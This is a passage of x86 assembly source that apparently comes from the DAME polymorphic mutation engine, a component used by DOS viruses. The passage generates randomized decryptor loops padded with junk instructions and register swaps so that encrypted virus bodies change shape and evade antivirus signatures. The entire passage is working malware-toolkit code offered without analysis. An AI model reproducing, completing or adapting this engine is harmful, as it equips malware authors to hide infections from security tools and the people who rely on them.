        shr     ax,1
word_encryption:
        test    ch,10
        jnz     counter_backwards
        neg     ax
counter_backwards:
        stosw                   ; _counter_value

        xchg    ax,dx           ; get encryption length in bytes

        test    ch,20
        jnz     encrypt_forwards
        neg     ax              ; pointer to start of decryption
encrypt_forwards:
        stosw                   ; _pointer_value

        call    get_rand
        stosw                   ; encryption value = _decrypt_value

        mov     ax,8484
        stosb
        push    di
        stosw
        stosb
        pop     di

        call    one_in_two
        js      s1
        call    get_another
        stosb
        call    get_rand
        mov     _pointer_value,ax
        dec     di
s1:
        inc     di

        jmp     short gbxoh_skip
get_bx_or_higher:
        call    clear_reg
gbxoh_skip:
        call    get_another
        cmp     al,_bx
        jb      get_bx_or_higher
        stosb                   ; _pointer_reg

        call    one_in_two
        js      s2
        call    get_another
        stosb                   ; _encrypt_reg
s2:

; encode setup part of decryption
        call    clear_used_regs
encode_setup:
        mov     di,_decryptpointer
        call    twogarble

        mov     si,offset _dummy_reg
        push    si
encode_setup_get_another:
        call    get_rand_bx
        and     bx,3
        mov     al,[si+bx]
        cbw
        test    al,80
        jnz     encode_setup_get_another
        or      byte ptr [bx+_dummy_reg],80
        mov     si,ax
        inc     byte ptr [si+offset _used_regs]

        add     bx,bx
        mov     dx,word ptr [bx+_counter_value-2]

        mov     _nest,0
        call    mov_reg_xxxx
        call    twogarble
        call    swap_decrypt_encrypt

        push    cx
        and     cl,not 3
        call    _mov_reg_xxxx
        pop     cx

        mov     _encryptpointer,di

        pop     si
        mov     dx,4
encode_setup_check_if_done:
        lodsb
        test    al,80
        jz      encode_setup
        dec     dx
        jnz     encode_setup_check_if_done

        mov     si,offset _encryptpointer
        mov     di,offset _loopstartencrypt
        movsw
        movsw

; encode decryption part of loop
        mov     _relocate_amt,0
        call    do_encrypt1
        test    ch,40
        jz      dont_encrypt2

        mov     _relocate_amt,2
        call    do_encrypt1
dont_encrypt2:
        mov     bx,offset _loopstartencrypt
        push    cx
        and     cl,not 3
        call    encodejmp
        pop     cx

        mov     ax,0c3fc ; cld, ret
        stosw

        mov     si,offset _encrypt_relocator
        mov     di,_start_encrypt

        push    cx
        call    relocate
        pop     cx

        mov     bx,offset _loopstartdecrypt
        call    encodejmp
        call    fourgarble
        mov     _decryptpointer,di

        mov     si,offset _decrypt_relocator
        sub     di,_decryptpointer2
        add     di,_start_decrypt
relocate:
        test    ch,20
        jz      do_encrypt_backwards
        add     di,_encrypt_length
do_encrypt_backwards:
        sub     di,_pointer_value
        mov     cx,word ptr [si-2]
        jcxz    exit_relocate
        xchg    ax,di
relocate_loop:
        xchg    ax,di
        lodsw
        xchg    ax,di
        add     [di],ax
        loop    relocate_loop
exit_relocate:
        mov     di,_decryptpointer
        mov     cx,di
        sub     cx,_decryptpointer2
        ret

do_encrypt1:
        call    playencrypt
        call    encryption
        call    playencrypt
        ret

encodejmp:
        mov     di,word ptr [bx+_encryptpointer-_loopstartencrypt]

        push    bx
        mov     _nest,0
        mov     al,_pointer_reg
        and     ax,7
        mov     dx,2
        test    ch,40
        jz      update_pointer1
        shl     dx,1
update_pointer1:
        test    ch,20
        jz      update_pointer2
        neg     dx
update_pointer2:
        call    add_reg_xxxx

        mov     dl,75   ; jnz

        mov     al,_counter_reg
        and     ax,7
        cmp     al,_sp
        jz      do_jnz

        push    dx
        mov     dx,1

        test    ch,10 ; check counter direction
        jz      go_counter_forwards

        cmp     al,_cx
        jnz     regular
        call    one_in_two
        js      regular

        pop     dx
        call    get_rand_bx
        xchg    bx,dx
        and     dl,2
        or      dl,0e0  ; loop/loopnz
        jmp     short do_jnz
regular:
        neg dx
go_counter_forwards:
        call    add_reg_xxxx
        pop     dx
do_jnz:
        pop     bx
        mov     ax,[bx]
        sub     ax,di
        dec     ax
        dec     ax
        xchg    ah,al
        mov     al,dl   ; jnz

        test    ah,80
        jnz     jmplocation_okay

        pop     ax
        pop     ax
        jmp     redo_dame
jmplocation_okay:
        stosw
        mov     word ptr [bx+_encryptpointer-_loopstartencrypt],di
        ret

swap_decrypt_encrypt:
        mov     _nest,MAXNEST
        mov     _decryptpointer,di
        mov     di,_encryptpointer
        ret

playencrypt:
        mov     di,_decryptpointer
        call    twogarble

        mov     al,_encrypt_reg
        and     ax,7
        cmp     al,4    ; is there an encryption register?
        jz      swap_decrypt_encrypt

        call    get_rand_bx     ; 3/4 chance of doing something
        cmp     bl,0c0
        ja      swap_decrypt_encrypt

        call    _playencrypt
        call    handle_jmp_table_nogarble
finish_encryption:
        call    swap_decrypt_encrypt
        push    cx
        and     cl,not 3
        call    [bx+si+1]
        pop     cx
        mov     _encryptpointer,di
        ret

_playencrypt:
        mov     _nest,0
        call    one_in_two
        js      get_used_register

        call    get_rand_bx
        mov     si,offset oneregtable
        jmp     short continue_playencrypt

get_used_register:
        call    get_rand_bx
        and     bx,7
        cmp     bl,_sp
        jz      get_used_register
        cmp     byte ptr [bx+_used_regs],0
        jz      get_used_register
        mov     si,offset tworegtable
continue_playencrypt:
        xchg    dx,bx
        ret

encryption:
        mov     di,_decryptpointer
        call    twogarble
        mov     al,_pointer_reg
        and     ax,7
        mov     bx,offset reg_xlat_table-3
        xlat

        mov     bp,offset _decrypt_relocate_num
        call    _playencrypt
        call    go_next
        call    handle_jmp_table_nogarble

        mov     bp,offset _encrypt_relocate_num
        call    go_next
        jmp     short finish_encryption

go_next:
        push    ax
        lodsb
        cbw
        add     si,ax
        pop     ax
        inc     si
        inc     si
        ret

clear_used_regs:
        xor     ax,ax
        mov     di,offset _used_regs
        stosw
        stosw
        inc     ax
        stosw
        dec     ax
        stosw
        ret

get_another:
        call    get_rand
        and     ax,7
        mov     si,ax
        cmp     [si+_used_regs],0
        jnz     get_another
        inc     [si+_used_regs]
        ret

clear_reg_dx:
        xchg    ax,dx
clear_reg:
        mov     si,ax
        mov     byte ptr [si+_used_regs],0
        ret

free_regs:      ; check for free registers
                ; zero flag if OK
        push    ax
        push    cx
        push    di
        mov     di,offset _used_regs
        mov     cx,8
        xor     ax,ax
        repne   scasb
        pop     di
        pop     cx
        pop     ax
        ret

one_in_two:
        push    ax
        call    get_rand
        or      ax,ax
        pop     ax
        ret

get_rand_bx:
        xchg    ax,bx
        call    get_rand
        xchg    ax,bx
return:
        ret

fourgarble:
        call    twogarble
twogarble:
        mov     _nest,0
        call    garble
garble: ; ax, dx preserved
        call    free_regs
        jne     return

        test    cl,2
        jz      return

        push    ax
        push    dx

        call    get_rand                ; random # to dx
        xchg    ax,dx
        call    get_another             ; random reg in al
        call    clear_reg               ; don't mark as used

        mov     si,offset garbletable
        jmp     short handle_jmp_table_nopush_ax_dx

handle_jmp_table: ; ax,dx preserved
        push    si
        call    garble
        pop     si
handle_jmp_table_nogarble:
        push    ax
        push    dx
handle_jmp_table_nopush_ax_dx:
        push    si

        push    cx
        xchg    ax,cx
        lodsb           ; get mask value
        cbw
        xchg    ax,cx
        call    get_rand_bx
        and     bx,cx
        pop     cx

        inc     _nest
        cmp     _nest,MAXNEST
        jb      not_max_nest
        xor     bx,bx
not_max_nest:
        push    bx
        call    [bx+si]
        pop     bx
        pop     si
        pop     dx
        pop     ax

        ret

garble_tworeg:
        mov     si,offset tworegtable
        and     dx,7
        jmp     short handle_jmp_table_nogarble
garble_onereg:
        mov     si,offset oneregtable
        jmp     short handle_jmp_table_nogarble
garble_onebyte:
        xchg    ax,dx
        and     al,7
        mov     bx,offset onebytetable
        xlat
        stosb
        ret
garble_jmpcond:
        xchg    ax,dx
        and     ax,0f
        or      al,70
        stosw
        ret

_push:
        or      al,al
        js      _push_mem
        add     al,50
        stosb
        ret
_push_mem:
        add     ax,0ff30
        jmp     short go_mod_xxx_rm1

_pop:
        or      al,al
        js      _pop_mem
        add     al,58
        stosb
        ret
_pop_mem:
        mov     ah,8f
go_mod_xxx_rm1:
        jmp     mod_xxx_rm

mov_reg_xxxx:
        mov     si,offset mov_reg_xxxx_table
go_handle_jmp_table1:
        jmp     short handle_jmp_table

_mov_reg_xxxx_mov_add:
        call    get_rand_bx
        push    bx
        sub     dx,bx
        call    mov_reg_xxxx
        pop     dx
        jmp     short go_add_reg_xxxx

_mov_reg_xxxx_mov_al_ah:
        cmp     al,_sp
        jae     _mov_reg_xxxx
        push    ax
        push    dx
        call    _mov_al_xx
        pop     dx
        pop     ax
        xchg    dh,dl
        jmp     short _mov_ah_xx

_mov_reg_xxxx_mov_xor:
        call    get_rand_bx
        push    bx
        xor     dx,bx
        call    mov_reg_xxxx
        pop     dx
        jmp     xor_reg_xxxx

_mov_reg_xxxx_xor_add:
        push    dx
        mov     dx,ax
        call    xor_reg_reg
        pop     dx
go_add_reg_xxxx:
        jmp     add_reg_xxxx

_mov_reg_xxxx_mov_rol:
        ror     dx,1
        call    mov_reg_xxxx
        jmp     short _rol

_mov_reg_xxxx_mov_ror:
        rol     dx,1
        call    mov_reg_xxxx
_ror:
        or      al,8
_rol:
        mov     ah,0d1
        jmp     mod_xxx_rm


_mov_reg_xxxx:
        add     al,0B8
        stosb
        xchg    ax,dx
        stosw
        ret

mov_ah_xx:
_mov_ah_xx:
        add     al,04
mov_al_xx:
_mov_al_xx:
        add     al,0B0
        mov     ah,dl
        stosw
        ret

mov_reg_reg:
        mov     si,offset mov_reg_reg_table
        jmp     short go_handle_jmp_table1

_mov_reg_reg_push_pop:
        push    ax
        xchg    dx,ax   ; al = reg2
        call    _push           ; push reg2
        pop     ax      ; al = reg1
        jmp     _pop            ; pop reg1
_mov_reg_reg:
        mov     ah,08Bh
        jmp     short _mod_reg_rm_direction

mov_xchg_reg_reg:
        call    one_in_two
        js      mov_reg_reg

xchg_reg_reg:
        mov     si,offset xchg_reg_reg_table
        jmp     handle_jmp_table

_xchg_reg_reg_push_pop:
        push    dx      ; save reg2
        push    ax      ; save reg1
        push    dx
        call    _push   ; push reg1
        pop     ax
        call    _push   ; push reg2
        pop     ax
        call    _pop    ; pop  reg1
        pop     ax
        jmp     _pop    ; pop  reg2

_xchg_reg_reg_3rd_reg:
        call    free_regs
        jne     _xchg_reg_reg

        push    dx      ; save reg2
        push    ax      ; save reg1
        call    get_another
        call    mov_xchg_reg_reg     ; mov/xchg reg3, reg2
        pop     dx      ; get reg1
        call    xchg_reg_reg    ; xchg reg3, reg1
        pop     dx      ; get reg2
        xchg    ax,dx   ; ax=reg2, dx=reg3
        call    mov_xchg_reg_reg    ; mov/xchg reg2, reg3
        jmp     clear_reg_dx

_xchg_reg_reg:
        or      al,al
        js      __xchg_reg_reg

        cmp     al,dl
        jg      _xchg_reg_reg_skip
        xchg    al,dl
_xchg_reg_reg_skip:
        or      dl,dl
        jz      _xchg_ax_reg
__xchg_reg_reg:
        xchg    al,dl
        mov     ah,87
        jmp     short _mod_reg_rm
_xchg_ax_reg:
        add     al,90
        stosb
        ret

xor_reg_xxxx_xor_xor:
        call    get_rand_bx
        push    bx
        xor     dx,bx
        call    xor_reg_xxxx
        pop     dx
        jmp     short xor_reg_xxxx

xor_reg_xxxx:
        mov     si,offset xor_reg_xxxx_table
        jmp     handle_jmp_table

_xor_reg_xxxx:
        or      al,030
        jmp     _81h_

xor_reg_reg:
        mov     si,offset xor_reg_reg_table
        jmp     handle_jmp_table

_xor_reg_reg:
        mov     ah,33
_mod_reg_rm_direction:
        or      al,al
        js      dodirection
        or      dl,dl
        js      _mod_reg_rm
        call    one_in_two
        js      _mod_reg_rm
dodirection:
        xchg    al,dl
        sub     ah,2
_mod_reg_rm:
        shl     al,1
        shl     al,1
        shl     al,1
        or      al,dl
mod_xxx_rm:
        or      al,al
        js      no_no_reg

        or      al,0c0
no_no_reg:
        xchg    ah,al

        test    ah,40
        jnz     exit_mod_reg_rm

        test    cl,1
        jnz     continue_mod_xxx_rm

        push    ax
        mov     al,2e
        stosb
        pop     ax
continue_mod_xxx_rm:
        stosw

        mov     si,cs:[bp]      ; need cs: overrides on bp
        add     si,si
        mov     cs:[si+bp+2],di
        inc     word ptr cs:[bp]

        mov     al,_relocate_amt
        cbw
exit_mod_reg_rm:
        stosw
        ret

add_reg_reg:
        mov     si,offset add_reg_reg_table
        jmp     handle_jmp_table

_add_reg_reg:
        mov     ah,3
        jmp     short _mod_reg_rm_direction

sub_reg_reg:
        mov     si,offset sub_reg_reg_table
        jmp     handle_jmp_table

_sub_reg_reg:
        mov     ah,2bh
        jmp     short _mod_reg_rm_direction

_add_reg_xxxx_inc_add:
        call    inc_reg
        dec     dx
        jmp     short add_reg_xxxx

_add_reg_xxxx_dec_add:
        call    dec_reg
        inc     dx
        jmp     short add_reg_xxxx

_add_reg_xxxx_add_add:
        call    get_rand_bx
        push    bx
        sub     dx,bx
        call    add_reg_xxxx
        pop     dx
        jmp     short add_reg_xxxx

add_reg_xxxx1:
        neg     dx
add_reg_xxxx:
        or      dx,dx
        jnz     cont
return1:
        ret
cont:
        mov     si,offset add_reg_xxxx_table
        jmp     handle_jmp_table

_add_reg_xxxx:
        or      al,al
        jz      _add_ax_xxxx
_81h_:
        or      al,al
        js      __81h
        add     al,0c0
__81h:
        mov     ah,81
        call    mod_xxx_rm
_encode_dx_:
        xchg    ax,dx
        stosw
        ret
_add_ax_xxxx:
        mov     al,5
_encode_al_dx_:
        stosb
        jmp     short _encode_dx_

sub_reg_xxxx1:
        neg     dx
sub_reg_xxxx:
_sub_reg_xxxx:
        or      dx,dx
        jz      return1

        or      al,al
        jz      _sub_ax_xxxx
        add     al,028
        jmp     short _81h_
_sub_ax_xxxx:
        mov     al,2dh
        jmp     short _encode_al_dx_

dec_reg:
        push    ax
        add     al,8
        jmp     short _dec_inc_reg
inc_reg:
        push    ax
_dec_inc_reg:
        or      al,al
        jns     _norm_inc
        mov     ah,0ff
        call    mod_xxx_rm
        pop     ax
        ret
_norm_inc:
        add     al,40
        stosb
        pop     ax
        ret

_mov_reg_reg_3rd_reg:
        mov     bx,offset mov_reg_reg
        mov     si,offset mov_xchg_reg_reg
        jmp     short reg_to_reg

xor_reg_reg_reg_reg:
        mov     bx,offset _xor_reg_reg
        jmp     short reg_to_reg1
add_reg_reg_reg_reg:
        mov     bx,offset _add_reg_reg
        jmp     short reg_to_reg1
sub_reg_reg_reg_reg:
        mov     bx,offset _sub_reg_reg
reg_to_reg1:
        mov     si,bx
reg_to_reg:
        call    free_regs
        jne     no_free_regs

        push    ax
        push    si
        call    get_another
        call    mov_reg_reg     ; mov reg3, reg2
        pop     si
        pop     dx              ; ax=reg3, dx=reg1
        xchg    ax,dx           ; ax=reg1, dx=reg3

        push    dx
        call    si
        pop     dx
go_clear_reg_dx:
        jmp     clear_reg_dx

_xor_reg_xxxx_reg_reg:
        mov     bx,offset xor_reg_xxxx
        mov     si,offset xor_reg_reg
xxxx_to_reg:
        call    free_regs
        jne     no_free_regs

        push    ax
        push    si
        call    get_another
        call    mov_reg_xxxx
        xchg    ax,dx
        pop     si
        pop     ax

        push    dx
        call    si
        pop     dx
        jmp     short go_clear_reg_dx
no_free_regs:
        jmp     bx

_add_reg_xxxx_reg_reg:
        mov     bx,offset add_reg_xxxx
        mov     si,offset add_reg_reg
        jmp     short xxxx_to_reg

_mov_reg_xxxx_reg_reg:
        mov     bx,offset mov_reg_xxxx
        mov     si,offset mov_xchg_reg_reg
        jmp     short xxxx_to_reg

garbletable:
        db      garbletableend - $ - 3
        dw      offset return
        dw      offset return
        dw      offset garble_tworeg
        dw      offset garble_tworeg
        dw      offset garble_onereg
        dw      offset garble_onereg
        dw      offset garble_onebyte
        dw      offset garble_jmpcond
garbletableend:

onebytetable:
        clc
        cmc
        stc
        cld
        std
        sti
        int     3
        lock

oneregtable:
        db      oneregtableend - $ - 3
        dw      offset xor_reg_xxxx
        dw      offset mov_reg_xxxx
        dw      offset sub_reg_xxxx
        dw      offset add_reg_xxxx
        dw      offset dec_reg
        dw      offset inc_reg
        dw      offset _ror
        dw      offset _rol
oneregtableend:

oneregtable1:
        db      oneregtable1end - $ - 3
        dw      offset xor_reg_xxxx
        dw      offset sub_reg_xxxx
        dw      offset add_reg_xxxx
        dw      offset add_reg_xxxx
        dw      offset dec_reg
        dw      offset inc_reg
        dw      offset _ror
        dw      offset _rol
oneregtable1end:

oneregtable2:
        db      oneregtable2end - $ - 3
        dw      offset xor_reg_xxxx
        dw      offset add_reg_xxxx
        dw      offset sub_reg_xxxx
        dw      offset sub_reg_xxxx
        dw      offset inc_reg
        dw      offset dec_reg
        dw      offset _rol
        dw      offset _ror
oneregtable2end:

tworegtable:
        db      tworegtableend - $ - 3
        dw      offset xor_reg_reg
        dw      offset mov_reg_reg
        dw      offset sub_reg_reg
        dw      offset add_reg_reg
tworegtableend:

tworegtable1:
        db      tworegtable1end - $ - 3
        dw      offset xor_reg_reg
        dw      offset xor_reg_reg
        dw      offset sub_reg_reg
        dw      offset add_reg_reg
tworegtable1end:

tworegtable2:
        db      tworegtable2end - $ - 3
        dw      offset xor_reg_reg
        dw      offset xor_reg_reg
        dw      offset add_reg_reg
        dw      offset sub_reg_reg
tworegtable2end:

mov_reg_xxxx_table:
        db      mov_reg_xxxx_table_end - $ - 3
        dw      offset _mov_reg_xxxx
        dw      offset _mov_reg_xxxx_reg_reg
        dw      offset _mov_reg_xxxx_mov_add
        dw      offset _mov_reg_xxxx_mov_al_ah
        dw      offset _mov_reg_xxxx_mov_xor
        dw      offset _mov_reg_xxxx_xor_add
        dw      offset _mov_reg_xxxx_mov_rol
        dw      offset _mov_reg_xxxx_mov_ror

mov_reg_xxxx_table_end:

mov_reg_reg_table:
        db      mov_reg_reg_table_end - $ - 3
        dw      offset _mov_reg_reg
        dw      offset _mov_reg_reg
        dw      offset _mov_reg_reg_3rd_reg
        dw      offset _mov_reg_reg_push_pop
mov_reg_reg_table_end:

xchg_reg_reg_table:
        db      xchg_reg_reg_table_end - $ - 3
        dw      offset _xchg_reg_reg
        dw      offset _xchg_reg_reg
        dw      offset _xchg_reg_reg_push_pop
        dw      offset _xchg_reg_reg_3rd_reg
xchg_reg_reg_table_end:

xor_reg_xxxx_table:
        db      xor_reg_xxxx_table_end - $ - 3
        dw      offset _xor_reg_xxxx
        dw      offset _xor_reg_xxxx
        dw      offset _xor_reg_xxxx_reg_reg
        dw      offset xor_reg_xxxx_xor_xor
xor_reg_xxxx_table_end:

xor_reg_reg_table:
        db      xor_reg_reg_table_end - $ - 3
        dw      offset _xor_reg_reg
        dw      offset xor_reg_reg_reg_reg
xor_reg_reg_table_end:

add_reg_reg_table:
        db      add_reg_reg_table_end - $ - 3
        dw      offset _add_reg_reg
        dw      offset add_reg_reg_reg_reg
add_reg_reg_table_end:

sub_reg_reg_table:
        db      sub_reg_reg_table_end - $ - 3
        dw      offset _sub_reg_reg
        dw      offset sub_reg_reg_reg_reg
sub_reg_reg_table_end:

add_reg_xxxx_table:
        db      add_reg_xxxx_table_end - $ - 3
        dw      offset _add_reg_xxxx
        dw      offset _add_reg_xxxx
        dw      offset _add_reg_xxxx_reg_reg
        dw      offset sub_reg_xxxx1
        dw      offset _add_reg_xxxx_inc_add
        dw      offset _add_reg_xxxx_dec_add
        dw      offset _add_reg_xxxx_add_add
        dw      offset _add_reg_xxxx_add_add

add_reg_xxxx_table_end:

endif

if vars eq 0
else

_nest                   db      ?       ; needed to prevent infinite recursion
_relocate_amt           db      ?

_loopstartencrypt       dw      ?
_loopstartdecrypt       dw      ?

_encryptpointer         dw      ?
_decryptpointer         dw      ?

_decryptpointer2        dw      ?

_start_encrypt          dw      ?
_start_decrypt          dw      ?

_used_regs              db      8 dup (?) ; 0 = unused
                                                        beginclear1:
_encrypt_relocate_num   dw      ?
_encrypt_relocator      dw      8 dup (?)

_decrypt_relocate_num   dw      ?
_decrypt_relocator      dw      10 dup (?)
                                                        endclear1:
_encrypt_length         dw      ?       ; based upon alignment

_counter_value          dw      ?       ; _counter_reg
_pointer_value          dw      ?
_decrypt_value          dw      ?

_dummy_reg              db      ?
_counter_reg            db      ?
_pointer_reg            db      ?       ; 4 = not in use
_encrypt_reg            db      ?

endif
-end dame.asm---